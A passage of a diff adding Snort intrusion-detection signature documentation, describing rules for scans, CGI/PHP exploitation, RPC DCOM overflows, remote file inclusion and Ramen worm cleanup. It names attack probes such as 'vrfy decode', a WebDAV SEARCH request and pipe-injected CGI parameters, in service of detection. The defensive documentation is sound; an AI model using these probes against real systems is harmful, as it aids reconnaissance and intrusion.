+process.  Seeing such a response indicates that some user connected
+over the network to a target web server and likely exploited the web
+server to launch a shell.
+
+--
+Attack Scenarios: 
+
+a buffer overflow exploit against the WWW server
+results in "/bin/sh" being executed. An automated script performing an
+attack, checks for the success of the exploit via an "id" command.
+
+-- 
+Ease of Attack: 
+
+this post-attack behavior can accompany different attacks
+
+-- 
+False Positives: 
+
+the signature will trigger if a legitimate system administrator executes the "id" command over the telnet connection which uses one of the web ports, as defined in snort.conf
+
+--
+False Negatives: 
+
+not known
+
+-- 
+Corrective Action: 
+
+investigate the server for signs of compromise, run
+the integrity checking software, look for other IDS alerts involving
+the same IP addresses.
+
+--
+Contributors: 
+
+Anton Chuvakin <anton@chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/672.txt
+++ snort-2.8.5.2/doc/signatures/672.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+672
+
+--
+Summary:
+This event is generated when a remote user attempts to scan for a vulnerability in the VRFY command on internal SMTP servers.
+
+--
+Impact:
+Information gathering, possibly leading to a future attack and system compromise. 
+
+--
+Detailed Information:
+If the decode alias on the Sendmail server is enabled, an attacker may be able to send messages to the decode alias email address, creating or overwriting files on the server. Vulnerability scanners use the "vrfy decode" command to verify that a decode alias is enabled.
+
+--
+Affected Systems:
+Systems running Sendmail.
+
+--
+Attack Scenarios:
+An attacker scans the server to determine that the decode alias exists. The attacker then sends an email address to the decode alias on the server, with directives to overwrite or create files on the server. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the decode alias by commenting out the "decode |/usr/bin/uudecode" line in your Sendmail aliases file.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0096
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1228.txt
+++ snort-2.8.5.2/doc/signatures/1228.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1228
+
+--
+Summary:
+A nmap XMAS scan was detected.
+
+--
+Impact:
+System reconnaissance that may include open/closed/firewalled ports,
+ACLs.
+
+--
+Detailed Information:
+Nmap sets the URG PSH and FIN bits as part of it's XMAS scan.
+Typically, a closed port will respond with an ACK RST, whereas an open
+port may not respond at all.  However, this varies from machine to
+machine, and also depends on what (if any) filtering policies are in
+place between the hosts in question.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+As part of information gathering that may occur before a more
+dedicated attack, an attacker may choose to use nmap's XMAS scan to
+determine open/closed ports.
+
+__
+Ease of Attack:
+Trivial.  Nmap is freely available to anyone who wishes to use it.
+The only requirement is root/elevated privledges (the XMAS scan
+requires this) and a lack of proper filtering between the two
+machines.
+
+--
+False Positives:
+None Known. The FIN PSH and URG flags should never be seen together
+in normal TCP traffic.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine what ports may have responded as being open, and what clues
+that may give an attacker relating to potential attacks.
+Additionally, investigate the use of proper ingress/egress filtering.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+SANS:
+http://rr.sans.org/firewall/egress.php
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1650.txt
+++ snort-2.8.5.2/doc/signatures/1650.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1650
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1347.txt
+++ snort-2.8.5.2/doc/signatures/1347.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted g++ command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The g++
+command is the GNUproject's C and C++ compiler used to compile C and
+C++ source filesinto executable binary files. The attacker could
+possibly compile aprogram needed for other attacks on the system or
+install a binaryprogram of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains
+'/usr/bin/g++'in theURI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin. This command may also
+be requested ona command line should the attacker gain access to the
+machine. Wheneverpossible, sensitive files and certain areas of the
+filesystem shouldhave the system immutable flag set to prevent files
+from being addedto the host. On BSD derived systems, setting the
+systems runtimesecurelevel also prevents the securelevel from being
+changed. (note: thesecurelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2310.txt
+++ snort-2.8.5.2/doc/signatures/2310.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2310
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2565.txt
+++ snort-2.8.5.2/doc/signatures/2565.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2565
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1513.txt
+++ snort-2.8.5.2/doc/signatures/1513.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1513
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1754.txt
+++ snort-2.8.5.2/doc/signatures/1754.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1754
+
+--
+Summary:
+This event is generated when an attempt is made to access the as_web4.exe component associated with the askSam Web Publisher software.
+
+--
+Impact:
+Cross-site scripting.  This may allow execution of arbitrary commands on a victim host that visits the vulnerable server.
+
+--
+Detailed Information:
+
+askSam Web Publisher is a product that allows the creation and publication of documents and databases on the Internet.  A vulnerability exists in the as_web.exe or as_web4.exe component that may allow cross-site scripting because of a failure to filter script and HTML when error messages are returned.  This may allow an attacker to execute arbitrary code on the victim host that visits the vulnerable server.
+
+--
+Affected Systems:
+askSam Web Publisher 4.0
+
+--
+Attack Scenarios:
+An attacker can inject malicious code in vulnerable askSam input fields that use as_web.exe or as_web4.exe. The may allow execution of arbitrary code on a victim host that visits the vulnerable server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+This alert will trigger on any access to the as_web4.exe module.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable scripting language support in your browser and e-mail client software to prevent becoming a victim host.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/4670
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3187.txt
+++ snort-2.8.5.2/doc/signatures/3187.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3187
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000852.txt
+++ snort-2.8.5.2/doc/signatures/100000852.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000852
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "IceWarp" application running on a webserver. Access to the file "include.php" using a remote file being passed as the "lang_settings" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lang_settings" parameter in the "include.php" script used by the "IceWarp" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IceWarp
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000344.txt
+++ snort-2.8.5.2/doc/signatures/100000344.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000344
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SocketMail" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "site_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "site_path" parameter in the "index.php" script used by the "SocketMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SocketMail
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3323.txt
+++ snort-2.8.5.2/doc/signatures/3323.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3323
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-9.txt
+++ snort-2.8.5.2/doc/signatures/119-9.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+119-9
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to obfuscate an attack or an attempt to
+evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects a
+"\" character being used where a "/" is normally expected in a web
+request.
+
+This may be an attempt to obfuscate an attack or an attempt to evade an
+IDS.
+
+--
+Affected Systems:
+	Microsoft IIS web servers.
+
+--
+Attack Scenarios: 
+An attacker merely needs to use a "\" character instead of a "/"' in a
+web request.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1070.txt
+++ snort-2.8.5.2/doc/signatures/1070.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+Sid:
+1070
+
+--
+
+Summary:
+This event is generated when an attempt is made to initiate a WebDAV SEARCH 
+on a web server.
+
+--
+Impact:
+Information gathering. Potential Denial of Service (DoS).
+
+--
+Detailed Information:
+IIS 5.0 includes an implementation of WebDAV for purposes of web publishing.
+As shipped, it contains two vulnerabilities that can allow an attacker
+to get a complete directory listing from the web root and to DoS the
+web server.
+
+If the target is IIS 5.0, then an attacker may have gotten a complete
+directory listing from within the web root, which can be useful information
+for attackers (could be a prelude to a more serious attack).  IIS 5.0's
+WebDAV implementation is also vulnerable to a Denial of Service vulnerability
+if the search string is too long.
+
+--
+Affected Systems:
+	IIS 5.0
+	Any web server running WebDAV, though no exploits are known for servers 
+	other than IIS 5.0.
+
+--
+Attack Scenarios:
+Attacker gets a listing by sending something like:
+SEARCH / HTTP/1.1
+Attacker DoSes the web server using pre-existing tools.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Check the host for signs of compromise.
+
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+Disallow WebDAV access to the server from resources external to the
+protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1510.txt
+++ snort-2.8.5.2/doc/signatures/1510.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1510
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1301.txt
+++ snort-2.8.5.2/doc/signatures/1301.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1301
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000564.txt
+++ snort-2.8.5.2/doc/signatures/100000564.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000564
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "GL-SH Deaf Forum" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "search" parameter in the "show.php" script 
+used by the "GL-SH Deaf Forum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using GL-SH Deaf Forum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000113.txt
+++ snort-2.8.5.2/doc/signatures/100000113.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000113
+
+-- 
+Summary: 
+This event is generated when an attacker attempts to execute arbitrary commands 
+on a system running the HappyMall E-Commerce suite.
+
+-- 
+
+Impact: 
+Attackers may run arbitrary commands of their choosing with the permissions of 
+the affected script.
+
+--
+Detailed Information:
+By specifying a value for the "file" parameter of the "member_html.cgi" script 
+that is enclosed by any combination of pipe or semicolon characters, attackers 
+may execute arbitrary commands on the host system with the privileges of the 
+affected script.
+
+--
+Affected Systems:
+HappyCGI HappyMall 4.3
+HappyCGI HappyMall 4.4
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited using a web browser, or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as a web browser or publicly available exploits may be used.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+An unconfirmed patch is available at the URI listed in the Additional 
+References section.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://happymall.happycgi.com/forum/forum_detail.cgi?thread=353
+
+--
--- snort-2.8.5.2.orig/doc/signatures/506.txt
+++ snort-2.8.5.2/doc/signatures/506.txt
@@ -0,0 +1,68 @@
+Rule:  
+
+--
+Sid:
+506
+
+--
+Summary:
+This event is generated when the Ramen worm attempts to retrieve a copy of the worm from a host.
+
+--
+Impact:
+Severe. The Ramen worm is already on the host and is currently propagating from the source ip address.
+
+--
+Detailed Information:
+The Ramen worm is a set of exploits that uses synscan to grab banners before exploiting new hosts.
+
+It scans automatically for random class B IP addresses and attacks them if possible. Another feature is the automatic defacement of index(.htm/html) files. The exploits are used to attack vulnerable WuFTPd servers, vulnerable RPC services (statd format string exploit) or vulnerable LPRng services. The RPC statd exploit binds suid shell on port 39168 which is used for further host compromise.
+
+--
+Affected Systems:
+Various Linux systems
+
+--
+Attack Scenarios:
+The RPC, WuFTP or LPRng printer spooler service was vulnerable and attacked by Ramen worm. The host is then back-doored on port 39168 and propagates to other vulnerable hosts in a class B/C network.
+
+--
+Ease of Attack:
+Simple. This is Worm activity
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+- rm -rf /usr/src/.poop (it contains the worm files)
+- rm -rf /tmp/ramen.tar.gz (Ramen worm files with exploits and shellscripts)
+- Delete line "/user/src/.poop/start*.sh" in /etc/rc.d/rc.sysinit
+- ps -Af | grep "asp" (Search PID of asp service port webserver)
+- kill -9 %PID_you_just_saw%
+- rm /sbin/asp (backdoor webserver, which binds to 27374)
+- Service startup:
+ - Using Inetd (Redhat 6): remove line "asp stream tcp nowait root" form /etc/inetd.conf and restart inetd service
+ - Using XInet.d (Redhat 7): rm -rf /etc/xinet.d/asp
+- Update /etc/hosts.deny because Ramen worm deletes the file or modifies it
+- Check index(.htm/html) files since they may be modified by the worm
+- Update WuFTPd server, NFS service, LPRng service
+- Reboot the host
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2725.txt
+++ snort-2.8.5.2/doc/signatures/2725.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2725
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
